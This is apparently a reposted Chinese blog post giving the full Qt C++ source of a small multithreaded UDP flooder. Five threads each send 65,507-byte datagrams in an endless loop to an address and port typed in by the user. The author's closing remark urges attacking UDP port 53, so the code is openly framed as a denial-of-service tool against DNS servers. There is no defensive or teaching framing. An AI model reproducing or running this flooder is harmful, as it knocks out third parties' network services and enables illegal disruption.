当前位置:   article > 正文

没有事情做 随手写的小程序

没有事情做 随手写的小程序

Qt  代码包  https://download.csdn.net/download/nn_84/88830445

dialog.h :

  1. #ifndef DIALOG_H
  2. #define DIALOG_H
  3. #include <QDialog>
  4. #include <mythread.h>
  5. QT_BEGIN_NAMESPACE
  6. namespace Ui {
  7. class Dialog;
  8. }
  9. QT_END_NAMESPACE
  10. class Dialog : public QDialog
  11. {
  12. Q_OBJECT
  13. public:
  14. Dialog(QWidget *parent = nullptr);
  15. ~Dialog();
  16. mythread thread1;
  17. mythread thread2;
  18. mythread thread3;
  19. mythread thread4;
  20. mythread thread5;
  21. private slots:
  22. void on_pushButton_1_clicked();
  23. void on_pushButton_clicked();
  24. private:
  25. Ui::Dialog *ui;
  26. };
  27. #endif // DIALOG_H

mythread.h  :

  1. #ifndef MYTHREAD_H
  2. #define MYTHREAD_H
  3. #include <QObject>
  4. #include <QThread>
  5. #include <QDebug>
  6. #include <QUdpSocket>
  7. #include <QByteArray>
  8. class mythread : public QThread
  9. {
  10. Q_OBJECT
  11. public:
  12. mythread();
  13. QString name;
  14. bool boolvalue;
  15. QByteArray buffer;
  16. QUdpSocket *socket;
  17. QString address;
  18. QString port;
  19. public slots:
  20. void run ();
  21. };
  22. #endif // MYTHREAD_H

dialog.cpp :

  1. #include "dialog.h"
  2. #include "ui_dialog.h"
  3. Dialog::Dialog(QWidget *parent)
  4. : QDialog(parent)
  5. , ui(new Ui::Dialog)
  6. {
  7. ui->setupUi(this);
  8. thread1.boolvalue = false;
  9. thread2.boolvalue = false;
  10. thread3.boolvalue = false;
  11. thread4.boolvalue = false;
  12. thread5.boolvalue = false;
  13. }
  14. Dialog::~Dialog()
  15. {
  16. delete ui;
  17. }
  18. void Dialog::on_pushButton_1_clicked()
  19. {
  20. thread1.boolvalue = true;
  21. thread1.name = "1";
  22. thread1.address = ui->lineEdit->text();
  23. thread1.port = ui->lineEdit_2->text();
  24. thread1.start();
  25. thread2.boolvalue = true;
  26. thread2.name = "2";
  27. thread2.address = ui->lineEdit->text();
  28. thread2.port = ui->lineEdit_2->text();
  29. thread2.start();
  30. thread3.boolvalue = true;
  31. thread3.name = "3";
  32. thread3.address = ui->lineEdit->text();
  33. thread3.port = ui->lineEdit_2->text();
  34. thread3.start();
  35. thread4.boolvalue = true;
  36. thread4.name = "4";
  37. thread4.address = ui->lineEdit->text();
  38. thread4.port = ui->lineEdit_2->text();
  39. thread4.start();
  40. thread5.boolvalue = true;
  41. thread5.name = "5";
  42. thread5.address = ui->lineEdit->text();
  43. thread5.port = ui->lineEdit_2->text();
  44. thread5.start();
  45. }
  46. void Dialog::on_pushButton_clicked()
  47. {
  48. thread1.boolvalue = false;
  49. thread2.boolvalue = false;
  50. thread3.boolvalue = false;
  51. thread4.boolvalue = false;
  52. thread5.boolvalue = false;
  53. }

mythread.cpp  :

  1. #include "mythread.h"
  2. mythread::mythread()
  3. {
  4. socket = new QUdpSocket(this);
  5. }
  6. void mythread::run()
  7. {
  8. for(int i=0;i<65507;i++)
  9. {
  10. buffer.append("a");
  11. }
  12. while(boolvalue){
  13. socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
  14. }
  15. }

.pro  :

  1. QT += core gui network
  2. greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
  3. CONFIG += c++17
  4. # You can make your code fail to compile if it uses deprecated APIs.
  5. # In order to do so, uncomment the following line.
  6. #DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0
  7. SOURCES += \
  8. main.cpp \
  9. dialog.cpp \
  10. mythread.cpp
  11. HEADERS += \
  12. dialog.h \
  13. mythread.h
  14. FORMS += \
  15. dialog.ui
  16. # Default rules for deployment.
  17. qnx: target.path = /tmp/$${TARGET}/bin
  18. else: unix:!android: target.path = /opt/$${TARGET}/bin
  19. !isEmpty(target.path): INSTALLS += target

嘿 大家知道 攻击哪个端口吗  53 53 53 记住 udp 53端口  

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/132478?site
推荐阅读
相关标签
  

闽ICP备14008679号